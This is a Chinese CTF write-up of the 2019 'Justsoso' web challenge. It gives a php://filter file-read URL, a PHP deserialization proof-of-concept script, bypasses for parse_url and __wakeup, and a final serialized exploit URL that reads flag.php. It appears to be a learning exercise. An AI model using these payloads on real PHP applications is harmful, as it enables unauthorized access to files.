2019全国大学生信息安全竞赛反序列化题目复现

Web - Justsoso

使用php伪协议读到hint和index的源码:

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

  • index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];

if (!isset($file)) {
echo 'Missing parameter' . '<br>';
}

if (preg_match("/flag/", $file)) {
die('hack attacked!!!');
}

@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
} else {
echo "Missing parameters";
}
?>
  • hint.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Handle {
private $handle;
public function __wakeup() {
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct() {
$this->handle->getFlag();
}
}

class Flag {
public $file;
public $token;
public $token_flag;
function __construct($file) {
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag() {
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
?>
  • 分析index.php (参数file, payload都被定义)
  1. file参数中读到flag就拦截
  2. 使用parse_url解析当前URL的路径
  3. 继续匹配flag并拦截
  4. 全部通过了之后反序列化payload参数的值
  • 分析hint.php

class Handle:

  1. __wakeup() 将所有变量都赋值为空
  2. __construct($handle) 将$handle的值赋值给$this->handle
  3. __destruct() 调用getFlag();

class Flag:

  1. __construct($file) 将$file赋值给$this->file,token_flag,token都赋值为1-10000同一个随机数字的md5值。
  2. getFlag() token_flah被赋值为一个新的随机数md5值,判断token和token_flag是否一致,如果一致,再判断$this->file是否被定义,如果定义,再读取文件。即可以读取flag。
  • 目的:

通过反序列化构造一个poc,定义$file,读取到flag。

这里有几处需要注意的地方:

  1. 需要绕过parse_url使flag字符能够被传递进来。
  2. __wakeup()清空了所有变量,需要绕过。
  3. 如何使token和token_flag的值在getFlag()处相等
  • 构造反序列化:

这里我直接复制了参考文章里面的构造源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}


$b = new Flag("flag.php"); //先创建Flag对象
$b->token=&$b->token_flag; //将token作为token_flag的引用
$a = new Handle($b); //创建Handle对象,将Flag对象作为参数传递进去,进而可以调用getFlag()方法。
echo(serialize($a)); //最后序列化
?>

根据文中的方法,三个需要注意的点的绕过方法为:

  1. 利用parse_url解析漏洞,在域名后面的一个/改为///即可绕过
  2. 当成员属性数目大于实际数目时可绕过wakeup方法,也就是将poc里的:O:6:"Handle":1:{s:... 改为 O:6:"Handle":2:{s:... 即可。
  3. 使用php的引用赋值,将token作为token_flag的引用,当token_flag重新被赋值时,token也会改变。

最后的poc为:

http://127.0.0.1///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

由于题目环境已经不在了,本地搭建了一下,parse_url解析漏洞复现不出来,于是只能跳过那个复现一下,如图。

pic

题目参考

0%